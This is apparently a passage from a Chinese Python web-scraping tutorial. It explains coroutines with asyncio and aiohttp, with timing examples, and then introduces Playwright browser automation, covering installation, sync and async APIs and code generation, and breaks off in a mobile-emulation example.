2. 基础知识

在了解协程之前,我们首先了解一些基础概念,如阻塞和非阻塞、同步和异步、多进程和协程。

阻塞

阻塞状态指程序未得到所需计算资源时被挂起的状态。程序在等待某个操作完成期间,自身无法继续干别的事情,则称该程序在该操作上是阻塞的。

常见的阻塞形式有:网络 I/O 阻塞、磁盘 I/O 阻塞、用户输入阻塞等。阻塞是无处不在的,包括 CPU 切换上下文时,所有的进程都无法真正干事情,它们也会被阻塞。如果是多核 CPU,则正在执行上下文切换操作的核不可被利用。

非阻塞

程序在等待某操作的过程中,自身不被阻塞,可以继续运行干别的事情,则称该程序在该操作上是非阻塞的。

非阻塞并不是在任何程序级别、任何情况下都存在的。仅当程序封装的级别可以囊括独立的子程序单元时,它才可能存在非阻塞状态。

非阻塞的存在是因为阻塞存在,正因为某个操作阻塞导致的耗时与效率低下,我们才要把它变成非阻塞的。

同步

不同程序单元为了完成某个任务,在执行过程中需靠某种通信方式以协调一致,此时这些程序单元是同步执行的。

例如在购物系统中更新商品库存时,需要用“行锁”作为通信信号,让不同的更新请求强制排队顺序执行,那更新库存的操作是同步的。

简言之,同步意味着有序。

异步

为了完成某个任务,有时不同程序单元之间无须通信协调也能完成任务,此时不相关的程序单元之间可以是异步的。

例如,爬取下载网页。调度程序调用下载程序后,即可调度其他任务,而无须与该下载任务保持通信以协调行为。不同网页的下载、保存等操作都是无关的,也无须相互通知协调。这些异步操作的完成时刻并不确定。

简言之,异步意味着无序。

多进程

多进程就是利用 CPU 的多核优势,在同一时间并行执行多个任务,可以大大提高执行效率。

协程

协程,英文叫作 coroutine,又称微线程、纤程,它是一种用户态的轻量级线程。

协程拥有自己的寄存器上下文和栈。协程调度切换时,将寄存器上下文和栈保存到其他地方,在切回来的时候,恢复先前保存的寄存器上下文和栈。因此,协程能保留上一次调用时的状态,即所有局部状态的一个特定组合,每次过程重入时,就相当于进入上一次调用的状态。

协程本质上是个单进程,它相对于多进程来说,无须线程上下文切换的开销,无须原子操作锁定及同步的开销,编程模型也非常简单。

我们可以使用协程来实现异步操作,比如在网络爬虫场景下,我们发出一个请求之后,需要等待一定时间才能得到响应,但其实在这个等待过程中,程序可以干许多其他事情,等到响应得到之后才切换回来继续处理,这样可以充分利用 CPU 和其他资源,这就是协程的优势。

3. 协程的用法

接下来,让我们来了解一下协程的实现。从 Python 3.4 开始,Python 中加入了协程的概念,但这个版本的协程还是以生成器对象为基础,Python 3.5 则增加了 async/await,使得协程的实现更加方便。

Python 中使用协程最常用的库莫过于 asyncio,所以本节会以 asyncio 为基础来介绍协程的用法。

首先,我们需要了解下面几个概念:

  • event_loop:事件循环,相当于一个无限循环,我们可以把一些函数注册到这个事件循环上,当满足条件发生的时候,就会调用对应的处理方法。
  • coroutine:中文翻译叫协程,在 Python 中常指代协程对象类型,我们可以将协程对象注册到时间循环中,它会被事件循环调用。我们可以使用 async 关键字来定义一个方法,这个方法在调用时不会立即被执行,而是返回一个协程对象。
  • task:任务,它是对协程对象的进一步封装,包含了任务的各个状态。
  • future:代表将来执行或没有执行的任务的结果,实际上和 task 没有本质区别。

另外,我们还需要了解 async/await 关键字,它是从 Python 3.5 才出现的,专门用于定义协程。其中,async 定义一个协程,await 用来挂起阻塞方法的执行。

4. 准备工作

在本节开始之前,请确保安装的 Python 版本为 3.5 及以上,如果版本是 3.4 及以下,则下方的案例是不能运行的。

具体的安装方法可以参考:https://setup.scrape.center/python。

安装好合适的 Python 版本之后我们就可以开始本节的学习了。

5. 定义协程

首先,我们来定义一个协程,体验一下它和普通进程在实现上的不同之处,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
import asyncio

async def execute(x):
print('Number:', x)

coroutine = execute(1)
print('Coroutine:', coroutine)
print('After calling execute')

loop = asyncio.get_event_loop()
loop.run_until_complete(coroutine)
print('After calling loop')

运行结果如下:

1
2
3
4
Coroutine: <coroutine object execute at 0x1034cf830>
After calling execute
Number: 1
After calling loop

首先,我们引入了 asyncio 这个包,这样我们才可以使用 asyncawait,然后使用 async 定义了一个 execute 方法,该方法接收一个数字参数,执行之后会打印这个数字。

随后我们直接调用了这个方法,然而这个方法并没有执行,而是返回了一个 coroutine 协程对象。随后我们使用 get_event_loop 方法创建了一个事件循环 loop,并调用了 loop 对象的 run_until_complete 方法将协程注册到事件循环 loop 中,然后启动。最后,我们才看到 execute 方法打印了输出结果。

可见,async 定义的方法就会变成一个无法直接执行的 coroutine 对象,必须将其注册到事件循环中才可以执行。

前面我们还提到了 task,它是对 coroutine 对象的进一步封装,比 coroutine 对象多了运行状态,比如 runningfinished 等,我们可以用这些状态来获取协程对象的执行情况。

在上面的例子中,当我们将 coroutine 对象传递给 run_until_complete 方法的时候,实际上它进行了一个操作,就是将 coroutine 封装成了 task 对象。我们也可以显式地进行声明,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import asyncio

async def execute(x):
print('Number:', x)
return x

coroutine = execute(1)
print('Coroutine:', coroutine)
print('After calling execute')

loop = asyncio.get_event_loop()
task = loop.create_task(coroutine)
print('Task:', task)
loop.run_until_complete(task)
print('Task:', task)
print('After calling loop')

运行结果如下:

1
2
3
4
5
6
Coroutine: <coroutine object execute at 0x10e0f7830>
After calling execute
Task: <Task pending coro=<execute() running at demo.py:4>>
Number: 1
Task: <Task finished coro=<execute() done, defined at demo.py:4> result=1>
After calling loop

这里我们定义了 loop 对象之后,接着调用了它的 create_task 方法将 coroutine 对象转化为 task 对象,随后我们打印输出一下,发现它是 pending 状态。接着,我们将 task 对象添加到事件循环中执行,随后打印输出 task 对象,发现它的状态变成了 finished,同时还可以看到其 result 变成了 1,也就是我们定义的 execute 方法的返回结果。

另外,定义 task 对象还有一种方式,就是直接通过 asyncio 的 ensure_future 方法,返回结果也是 task 对象,这样的话我们就可以不借助 loop 来定义。即使我们还没有声明 loop,也可以提前定义好 task 对象,写法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import asyncio

async def execute(x):
print('Number:', x)
return x

coroutine = execute(1)
print('Coroutine:', coroutine)
print('After calling execute')

task = asyncio.ensure_future(coroutine)
print('Task:', task)
loop = asyncio.get_event_loop()
loop.run_until_complete(task)
print('Task:', task)
print('After calling loop')

运行结果如下:

1
2
3
4
5
6
Coroutine: <coroutine object execute at 0x10aa33830>
After calling execute
Task: <Task pending coro=<execute() running at demo.py:4>>
Number: 1
Task: <Task finished coro=<execute() done, defined at demo.py:4> result=1>
After calling loop

可以发现,其运行效果都是一样的。

6. 绑定回调

另外,我们也可以为某个 task 绑定一个回调方法。比如,我们来看下面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import asyncio
import requests

async def request():
url = 'https://www.baidu.com'
status = requests.get(url)
return status

def callback(task):
print('Status:', task.result())

coroutine = request()
task = asyncio.ensure_future(coroutine)
task.add_done_callback(callback)
print('Task:', task)

loop = asyncio.get_event_loop()
loop.run_until_complete(task)
print('Task:', task)

这里我们定义了一个 request 方法,请求了百度,获取其状态码,但是这个方法里面我们没有任何 print 语句。随后我们定义了一个 callback 方法,这个方法接收一个参数,是 task 对象,然后调用 print 方法打印了 task 对象的结果。这样我们就定义好了一个 coroutine 对象和一个回调方法。我们现在希望的效果是,当 coroutine 对象执行完毕之后,就去执行声明的 callback 方法。

那么它们两者怎样关联起来呢?很简单,只需要调用 add_done_callback 方法即可。我们将 callback 方法传递给封装好的 task 对象,这样当 task 执行完毕之后,就可以调用 callback 方法了。同时 task 对象还会作为参数传递给 callback 方法,调用 task 对象的 result 方法就可以获取返回结果了。

运行结果如下:

1
2
3
Task: <Task pending coro=<request() running at demo.py:5> cb=[callback() at demo.py:11]>
Status: <Response [200]>
Task: <Task finished coro=<request() done, defined at demo.py:5> result=<Response [200]>>

实际上不用回调方法,直接在 task 运行完毕之后,也可以直接调用 result 方法获取结果,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import asyncio
import requests

async def request():
url = 'https://www.baidu.com'
status = requests.get(url)
return status

coroutine = request()
task = asyncio.ensure_future(coroutine)
print('Task:', task)

loop = asyncio.get_event_loop()
loop.run_until_complete(task)
print('Task:', task)
print('Task Result:', task.result())

运行结果是一样的:

1
2
3
Task: <Task pending coro=<request() running at demo.py:4>>
Task: <Task finished coro=<request() done, defined at demo.py:4> result=<Response [200]>>
Task Result: <Response [200]>

7. 多任务协程

上面的例子我们只执行了一次请求,如果想执行多次请求,应该怎么办呢?我们可以定义一个 task 列表,然后使用 asyncio 的 wait 方法即可执行。看下面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import asyncio
import requests

async def request():
url = 'https://www.baidu.com'
status = requests.get(url)
return status

tasks = [asyncio.ensure_future(request()) for _ in range(5)]
print('Tasks:', tasks)

loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(tasks))

for task in tasks:
print('Task Result:', task.result())

这里我们使用一个 for 循环创建了 5 个 task,组成了一个列表,然后把这个列表首先传递给了 asyncio 的 wait 方法,再将其注册到时间循环中,就可以发起 5 个任务了。最后,我们再将任务的运行结果输出出来,具体如下:

1
2
3
4
5
6
Tasks: [<Task pending coro=<request() running at demo.py:5>>, <Task pending coro=<request() running at demo.py:5>>, <Task pending coro=<request() running at demo.py:5>>, <Task pending coro=<request() running at demo.py:5>>, <Task pending coro=<request() running at demo.py:5>>]
Task Result: <Response [200]>
Task Result: <Response [200]>
Task Result: <Response [200]>
Task Result: <Response [200]>
Task Result: <Response [200]>

可以看到,5 个任务被顺次执行了,并得到了运行结果。

8. 协程实现

前面说了这么一通,又是 async,又是 coroutine,又是 task,又是 callback,但似乎并没有看出协程的优势?反而写法上更加奇怪和麻烦了。别急,上面的案例只是为后面的使用作铺垫。接下来,我们正式来看下协程在解决 IO 密集型任务上有怎样的优势。

在上面的代码中,我们用一个网络请求作为示例,这就是一个耗时等待操作,因为我们请求网页之后需要等待页面响应并返回结果。耗时等待操作一般都是 IO 操作,比如文件读取、网络请求等。协程对于处理这种操作是有很大优势的,当遇到需要等待的情况时,程序可以暂时挂起,转而去执行其他操作,从而避免一直等待一个程序而耗费过多的时间,充分利用资源。

为了表现出协程的优势,我们还是以本节开头介绍的网站 https://httpbin.org/delay/5 为例,因为该网站响应比较慢,所以我们可以通过爬取时间来直观感受到爬取速度的提升。

为了让大家更好地理解协程的正确使用方法,这里我们先来看看大家使用协程时常犯的错误,后面再给出正确的例子来对比一下。

首先,我们还是拿之前的 requests 库来进行网页请求,接下来再重新使用上面的方法请求一遍:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import asyncio
import requests
import time

start = time.time()

async def request():
url = 'https://httpbin.org/delay/5'
print('Waiting for', url)
response = requests.get(url)
print('Get response from', url, 'response', response)

tasks = [asyncio.ensure_future(request()) for _ in range(10)]
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(tasks))

end = time.time()
print('Cost time:', end - start)

这里我们还是创建了 10 个 task,然后将 task 列表传给 wait 方法并注册到时间循环中执行。

运行结果如下:

1
2
3
4
5
6
7
8
9
10
Waiting for https://httpbin.org/delay/5
Get response from https://httpbin.org/delay/5 response <Response [200]>
Waiting for https://httpbin.org/delay/5
...
Get response from https://httpbin.org/delay/5 response <Response [200]>
Waiting for https://httpbin.org/delay/5
Get response from https://httpbin.org/delay/5 response <Response [200]>
Waiting for https://httpbin.org/delay/5
Get response from https://httpbin.org/delay/5 response <Response [200]>
Cost time: 66.64284420013428

可以发现,这和正常的请求并没有什么区别,依然还是顺次执行的,耗时 66 秒,平均一个请求耗时 6.6 秒,说好的异步处理呢?

其实,要实现异步处理,我们得先要有挂起的操作,当一个任务需要等待 IO 结果的时候,可以挂起当前任务,转而去执行其他任务,这样我们才能充分利用好资源。上面的方法都是一本正经地串行走下来,连个挂起都没有,怎么可能实现异步?想太多了。

要实现异步,接下来我们再了解一下 await 的用法,它可以将耗时等待的操作挂起,让出控制权。当协程执行的时候遇到 await,时间循环就会将本协程挂起,转而去执行别的协程,直到其他协程挂起或执行完毕。

所以,我们可能会将代码中的 request 方法改成如下的样子:

1
2
3
4
5
async def request():
url = 'https://httpbin.org/delay/5'
print('Waiting for', url)
response = await requests.get(url)
print('Get response from', url, 'response', response)

仅仅是在 requests 前面加了一个关键字 await,然而此时执行代码,会得到如下报错:

1
2
3
4
5
6
7
8
9
10
11
Waiting for https://httpbin.org/delay/5
Waiting for https://httpbin.org/delay/5
Waiting for https://httpbin.org/delay/5
Waiting for https://httpbin.org/delay/5
...
Task exception was never retrieved
future: <Task finished coro=<request() done, defined at demo.py:8> exception=TypeError("object Response can't be used in 'await' expression")>
Traceback (most recent call last):
File "demo.py", line 11, in request
response = await requests.get(url)
TypeError: object Response can't be used in 'await' expression

这次它遇到 await 方法确实挂起了,也等待了,但是最后却报了这个错误。这个错误的意思是 requests 返回的 Response 对象不能和 await 一起使用,为什么呢?因为根据官方文档说明,await 后面的对象必须是如下格式之一(具体可以参见 https://www.python.org/dev/peps/pep-0492/#await-expression):

  • 一个原生 coroutine 对象;
  • 一个由 types.coroutine 修饰的生成器,这个生成器可以返回 coroutine 对象;
  • 一个包含 __await__ 方法的对象返回的一个迭代器。

reqeusts 返回的 Response 对象不符合上面任一条件,因此就会报上面的错误了。

有的读者可能已经发现了,既然 await 后面可以跟一个 coroutine 对象,那么我用 async 把请求的方法改成 coroutine 对象不就可以了吗?所以就改写成如下的样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import asyncio
import requests
import time

start = time.time()

async def get(url):
return requests.get(url)

async def request():
url = 'https://httpbin.org/delay/5'
print('Waiting for', url)
response = await get(url)
print('Get response from', url, 'response', response)

tasks = [asyncio.ensure_future(request()) for _ in range(10)]
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(tasks))

end = time.time()
print('Cost time:', end - start)

这里我们将请求页面的方法独立出来,并用 async 修饰,这样就得到了一个 coroutine 对象。运行一下看看:

1
2
3
4
5
6
7
8
9
10
11
12
Waiting for https://httpbin.org/delay/5
Get response fromhttps://httpbin.org/delay/5 response <Response [200]>
Waiting for https://httpbin.org/delay/5
Get response from https://httpbin.org/delay/5 response <Response [200]>
Waiting for https://httpbin.org/delay/5
...
Get response from https://httpbin.org/delay/5 response <Response [200]>
Waiting for https://httpbin.org/delay/5
Get response from https://httpbin.org/delay/5 response <Response [200]>
Waiting for https://httpbin.org/delay/5
Get response from https://httpbin.org/delay/5 response <Response [200]>
Cost time: 65.394437756259273

还是不行,它还不是异步执行的,也就是说我们仅仅将涉及 IO 操作的代码封装到 async 修饰的方法里面是不可行的。我们必须要使用支持异步操作的请求方式才可以实现真正的异步,所以这里就需要 aiohttp 派上用场了。

9. 使用 aiohttp

aiohttp 是一个支持异步请求的库,配合使用它和 asyncio,我们可以非常方便地实现异步请求操作。我们使用 pip3 安装即可:

1
pip3 install aiohttp

具体的安装方法可以参考:https://setup.scrape.center/aiohttp。

aiohttp 的官方文档链接为 https://aiohttp.readthedocs.io/,它分为两部分,一部分是 Client,一部分是 Server,详细的内容可以参考官方文档。

下面我们将 aiohttp 用上来,将代码改成如下样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import asyncio
import aiohttp
import time

start = time.time()

async def get(url):
session = aiohttp.ClientSession()
response = await session.get(url)
await response.text()
await session.close()
return response

async def request():
url = 'https://httpbin.org/delay/5'
print('Waiting for', url)
response = await get(url)
print('Get response from', url, 'response', response)

tasks = [asyncio.ensure_future(request()) for _ in range(10)]
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(tasks))

end = time.time()
print('Cost time:', end - start)

这里我们将请求库由 requests 改成了 aiohttp,通过 aiohttp 的 ClientSession 类的 get 方法进行请求,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
Waiting for https://httpbin.org/delay/5
Waiting for https://httpbin.org/delay/5
Waiting for https://httpbin.org/delay/5
Waiting for https://httpbin.org/delay/5
...
Get response from https://httpbin.org/delay/5 response <ClientResponse(https://httpbin.org/delay/5) [200 OK]>
<CIMultiDictProxy('Date': 'Sun, 09 Aug 2020 14:30:22 GMT', 'Content-Type': 'application/json', 'Content-Length': '360', 'Connection': 'keep-alive', 'Server': 'gunicorn/19.9.0', 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Credentials': 'true')>

...
Get response from https://httpbin.org/delay/5 response <ClientResponse(https://httpbin.org/delay/5) [200 OK]>
<CIMultiDictProxy('Date': 'Sun, 09 Aug 2020 14:30:22 GMT', 'Content-Type': 'application/json', 'Content-Length': '360', 'Connection': 'keep-alive', 'Server': 'gunicorn/19.9.0', 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Credentials': 'true')>
Cost time: 6.033240079879761

成功了!我们发现这次请求的耗时由 51 秒直接变成了 6 秒,耗费时间减少了非常多。

在代码里面,我们使用了 await,后面跟了 get 方法。在执行这 10 个协程的时候,如果遇到了 await,就会将当前协程挂起,转而去执行其他协程,直到其他协程也挂起或执行完毕,再执行下一个协程。

开始运行时,时间循环会运行第一个 task。针对第一个 task 来说,当执行到第一个 await 跟着的 get 方法时,它被挂起,但这个 get 方法第一步的执行是非阻塞的,挂起之后立马被唤醒,所以立即又进入执行,创建了 ClientSession 对象,接着遇到了第二个 await,调用了 session.get 请求方法,然后就被挂起了。由于请求需要耗时很久,所以一直没有被唤醒,好在第一个 task 被挂起了,那么接下来该怎么办呢?事件循环会寻找当前未被挂起的协程继续执行,于是就转而执行第二个 task 了,也是一样的流程操作,直到执行了第十个 tasksession.get 方法之后,全部的 task 都被挂起了。所有 task 都已经处于挂起状态,那咋办?只好等待了。5 秒之后,几个请求几乎同时都有了响应,然后几个 task 也被唤醒接着执行,输出请求结果,最后总耗时 6 秒!

怎么样?这就是异步操作的便捷之处,当遇到阻塞式操作时,任务被挂起,程序接着去执行其他任务,而不是傻傻地等着,这样可以充分利用 CPU 时间,而不必把时间浪费在等待 IO 上。

有人会说,既然这样的话,在上面的例子中,在发出网络请求后,既然接下来的 5 秒都是在等待的,在 5 秒之内,CPU 可以处理的 task 数量远不止这些,那么岂不是我们放 10 个、20 个、50 个、100 个、1000 个 task 一起执行,最后得到所有结果的耗时不都是差不多的吗?因为这几个任务被挂起后都是一起等待的。

理论来说,确实是这样的,不过有个前提,那就是服务器在同一时刻接受无限次请求都能保证正常返回结果,也就是服务器无限抗压。另外,还要忽略 IO 传输时延,确实可以做到无限 task 一起执行且在预想时间内得到结果。但由于不同服务器处理的实现机制不同,可能某些服务器并不能承受这么高的并发,因此响应速度也会减慢。

这里我们以百度为例,测试一下并发数量为 1、3、5、10…500 的情况下的耗时情况,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import asyncio
import aiohttp
import time


def test(number):
start = time.time()

async def get(url):
session = aiohttp.ClientSession()
response = await session.get(url)
await response.text()
await session.close()
return response

async def request():
url = 'https://www.baidu.com/'
await get(url)

tasks = [asyncio.ensure_future(request()) for _ in range(number)]
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(tasks))

end = time.time()
print('Number:', number, 'Cost time:', end - start)

for number in [1, 3, 5, 10, 15, 30, 50, 75, 100, 200, 500]:
test(number)

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
Number: 1 Cost time: 0.05885505676269531
Number: 3 Cost time: 0.05773782730102539
Number: 5 Cost time: 0.05768704414367676
Number: 10 Cost time: 0.15174412727355957
Number: 15 Cost time: 0.09603095054626465
Number: 30 Cost time: 0.17843103408813477
Number: 50 Cost time: 0.3741800785064697
Number: 75 Cost time: 0.2894289493560791
Number: 100 Cost time: 0.6185381412506104
Number: 200 Cost time: 1.0894129276275635
Number: 500 Cost time: 1.8213098049163818

可以看到,即使我们增加了并发数量,但在服务器能承受高并发的前提下,其爬取速度几乎不太受影响。

综上所述,使用了异步请求之后,我们几乎可以在相同的时间内实现成百上千倍次的网络请求,把这个运用在爬虫中,速度提升可谓是非常可观了。

10. 总结

以上便是 Python 中协程的基本原理和用法,在后面一节中我们会详细介绍 aiohttp 的用法和爬取实战,实现快速高并发的爬取。

本节代码:https://github.com/Python3WebSpider/AsyncTest

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

Playwright 是微软在 2020 年初开源的新一代自动化测试工具,它的功能类似于 Selenium、Pyppeteer 等,都可以驱动浏览器进行各种自动化操作。它的功能也非常强大,对市面上的主流浏览器都提供了支持,API 功能简洁又强大。虽然诞生比较晚,但是现在发展得非常火热。

1. Playwright 的特点

  • Playwright 支持当前所有主流浏览器,包括 Chrome 和 Edge(基于 Chromium)、Firefox、Safari(基于 WebKit) ,提供完善的自动化控制的 API。
  • Playwright 支持移动端页面测试,使用设备模拟技术可以使我们在移动 Web 浏览器中测试响应式 Web 应用程序。
  • Playwright 支持所有浏览器的 Headless 模式和非 Headless 模式的测试。
  • Playwright 的安装和配置非常简单,安装过程中会自动安装对应的浏览器和驱动,不需要额外配置 WebDriver 等。
  • Playwright 提供了自动等待相关的 API,当页面加载的时候会自动等待对应的节点加载,大大简化了 API 编写复杂度。

本节我们就来了解下 Playwright 的使用方法。

2. 安装

要使用 Playwright,需要 Python 3.7 版本及以上,请确保 Python 的版本符合要求。

要安装 Playwright,可以直接使用 pip3,命令如下:

1
pip3 install playwright

安装完成之后需要进行一些初始化操作:

1
playwright install

这时候 Playwrigth 会安装 Chromium, Firefox and WebKit 浏览器并配置一些驱动,我们不必关心中间配置的过程,Playwright 会为我们配置好。

具体的安装说明可以参考:https://setup.scrape.center/playwright。

安装完成之后,我们便可以使用 Playwright 启动 Chromium 或 Firefox 或 WebKit 浏览器来进行自动化操作了。

3. 基本使用

Playwright 支持两种编写模式,一种是类似 Pyppetter 一样的异步模式,另一种是像 Selenium 一样的同步模式,我们可以根据实际需要选择使用不同的模式。

我们先来看一个基本同步模式的例子:

1
2
3
4
5
6
7
8
9
10
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
for browser_type in [p.chromium, p.firefox, p.webkit]:
browser = browser_type.launch(headless=False)
page = browser.new_page()
page.goto('https://www.baidu.com')
page.screenshot(path=f'screenshot-{browser_type.name}.png')
print(page.title())
browser.close()

首先我们导入了 sync_playwright 方法,然后直接调用了这个方法,该方法返回的是一个 PlaywrightContextManager 对象,可以理解是一个浏览器上下文管理器,我们将其赋值为变量 p。

接着我们调用了 PlaywrightContextManager 对象的 chromium、firefox、webkit 属性依次创建了一个 Chromium、Firefox 以及 Webkit 浏览器实例,接着用一个 for 循环依次执行了它们的 launch 方法,同时设置了 headless 参数为 False。

注意:如果不设置为 False,默认是无头模式启动浏览器,我们看不到任何窗口。

launch 方法返回的是一个 Browser 对象,我们将其赋值为 browser 变量。然后调用 browser 的 new_page 方法,相当于新建了一个选项卡,返回的是一个 Page 对象,将其赋值为 page,这整个过程其实和 Pyppeteer 非常类似。接着我们就可以调用 page 的一系列 API 来进行各种自动化操作了,比如调用 goto,就是加载某个页面,这里我们访问的是百度的首页。接着我们调用了 page 的 screenshot 方法,参数传一个文件名称,这样截图就会自动保存为该图片名称,这里名称中我们加入了 browser_type 的 name 属性,代表浏览器的类型,结果分别就是 chromium, firefox, webkit。另外我们还调用了 title 方法,该方法会返回页面的标题,即 HTML 中 title 节点中的文字,也就是选项卡上的文字,我们将该结果打印输出到控制台。最后操作完毕,调用 browser 的 close 方法关闭整个浏览器,运行结束。

运行一下,这时候我们可以看到有三个浏览器依次启动并加载了百度这个页面,分别是 Chromium、Firefox 和 Webkit 三个浏览器,页面加载完成之后,生成截图、控制台打印结果就退出了。

这时候当前目录便会生成三个截图文件,都是百度的首页,文件名中都带有了浏览器的名称,如图所示:

控制台运行结果如下:

1
2
3
百度一下,你就知道
百度一下,你就知道
百度一下,你就知道

通过运行结果我们可以发现,我们非常方便地启动了三种浏览器并完成了自动化操作,并通过几个 API 就完成了截图和数据的获取,整个运行速度是非常快的,者就是 Playwright 最最基本的用法。

当然除了同步模式,Playwright 还提供异步的 API,如果我们项目里面使用了 asyncio,那就应该使用异步模式,写法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import asyncio
from playwright.async_api import async_playwright

async def main():
async with async_playwright() as p:
for browser_type in [p.chromium, p.firefox, p.webkit]:
browser = await browser_type.launch()
page = await browser.new_page()
await page.goto('https://www.baidu.com')
await page.screenshot(path=f'screenshot-{browser_type.name}.png')
print(await page.title())
await browser.close()

asyncio.run(main())

可以看到整个写法和同步模式基本类似,导入的时候使用的是 async_playwright 方法,而不再是 sync_playwright 方法。写法上添加了 async/await 关键字的使用,最后的运行效果是一样的。

另外我们注意到,这例子中使用了 with as 语句,with 用于上下文对象的管理,它可以返回一个上下文管理器,也就对应一个 PlaywrightContextManager 对象,无论运行期间是否抛出异常,它能够帮助我们自动分配并且释放 Playwright 的资源。

4. 代码生成

Playwright 还有一个强大的功能,那就是可以录制我们在浏览器中的操作并将代码自动生成出来,有了这个功能,我们甚至都不用写任何一行代码,这个功能可以通过 playwright 命令行调用 codegen 来实现,我们先来看看 codegen 命令都有什么参数,输入如下命令:

1
playwright codegen --help

结果类似如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Usage: npx playwright codegen [options] [url]

open page and generate code for user actions

Options:
-o, --output <file name> saves the generated script to a file
--target <language> language to use, one of javascript, python, python-async, csharp (default: "python")
-b, --browser <browserType> browser to use, one of cr, chromium, ff, firefox, wk, webkit (default: "chromium")
--channel <channel> Chromium distribution channel, "chrome", "chrome-beta", "msedge-dev", etc
--color-scheme <scheme> emulate preferred color scheme, "light" or "dark"
--device <deviceName> emulate device, for example "iPhone 11"
--geolocation <coordinates> specify geolocation coordinates, for example "37.819722,-122.478611"
--load-storage <filename> load context storage state from the file, previously saved with --save-storage
--lang <language> specify language / locale, for example "en-GB"
--proxy-server <proxy> specify proxy server, for example "http://myproxy:3128" or "socks5://myproxy:8080"
--save-storage <filename> save context storage state at the end, for later use with --load-storage
--timezone <time zone> time zone to emulate, for example "Europe/Rome"
--timeout <timeout> timeout for Playwright actions in milliseconds (default: "10000")
--user-agent <ua string> specify user agent string
--viewport-size <size> specify browser viewport size in pixels, for example "1280, 720"
-h, --help display help for command

Examples:

$ codegen
$ codegen --target=python
$ codegen -b webkit https://example.com

可以看到这里有几个选项,比如 -o 代表输出的代码文件的名称;—target 代表使用的语言,默认是 python,即会生成同步模式的操作代码,如果传入 python-async 就会生成异步模式的代码;-b 代表的是使用的浏览器,默认是 Chromium,其他还有很多设置,比如 —device 可以模拟使用手机浏览器,比如 iPhone 11,—lang 代表设置浏览器的语言,—timeout 可以设置页面加载超时时间。

好,了解了这些用法,那我们就来尝试启动一个 Firefox 浏览器,然后将操作结果输出到 script.py 文件,命令如下:

1
playwright codegen -o script.py -b firefox

这时候就弹出了一个 Firefox 浏览器,同时右侧会输出一个脚本窗口,实时显示当前操作对应的代码。

我们可以在浏览器中做任何操作,比如打开百度,然后点击输入框并输入 nba,然后再点击搜索按钮,浏览器窗口如下:

可以看见浏览器中还会高亮显示我们正在操作的页面节点,同时还显示了对应的选择器字符串 input[name="wd"],右侧的窗口如图所示:

在操作过程中,该窗口中的代码就实时变化,可以看到这里生成了我们一系列操作的对应代码,比如在搜索框中输入 nba,就对应如下代码:

1
page.fill("input[name=\"wd\"]", "nba")

操作完毕之后,关闭浏览器,Playwright 会生成一个 script.py 文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from playwright.sync_api import sync_playwright

def run(playwright):
browser = playwright.firefox.launch(headless=False)
context = browser.new_context()

# Open new page
page = context.new_page()

# Go to https://www.baidu.com/
page.goto("https://www.baidu.com/")

# Click input[name="wd"]
page.click("input[name=\"wd\"]")

# Fill input[name="wd"]
page.fill("input[name=\"wd\"]", "nba")

# Click text=百度一下
with page.expect_navigation():
page.click("text=百度一下")

context.close()
browser.close()

with sync_playwright() as playwright:
run(playwright)

可以看到这里生成的代码和我们之前写的示例代码几乎差不多,而且也是完全可以运行的,运行之后就可以看到它又可以复现我们刚才所做的操作了。

所以,有了这个功能,我们甚至都不用编写任何代码,只通过简单的可视化点击就能把代码生成出来,可谓是非常方便了!

另外这里有一个值得注意的点,仔细观察下生成的代码,和前面的例子不同的是,这里 new_page 方法并不是直接通过 browser 调用的,而是通过 context 变量调用的,这个 context 又是由 browser 通过调用 new_context 方法生成的。有读者可能就会问了,这个 context 究竟是做什么的呢?

其实这个 context 变量对应的是一个 BrowserContext 对象,BrowserContext 是一个类似隐身模式的独立上下文环境,其运行资源是单独隔离的,在做一些自动化测试过程中,每个测试用例我们都可以单独创建一个 BrowserContext 对象,这样可以保证每个测试用例之间互不干扰,具体的 API 可以参考 https://playwright.dev/python/docs/api/class-browsercontext

5. 移动端浏览器支持

Playwright 另外一个特色功能就是可以支持移动端浏览器的模拟,比如模拟打开 iPhone 12 Pro Max 上的 Safari 浏览器,然后手动设置定位,并打开百度地图并截图。首先我们可以选定一个经纬度,比如故宫的经纬度是 39.913904, 116.39014,我们可以通过 geolocation 参数传递给 Webkit 浏览器并初始化。

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
iphone_12_pro_max = p.devices['iPhone 12 Pro Max']
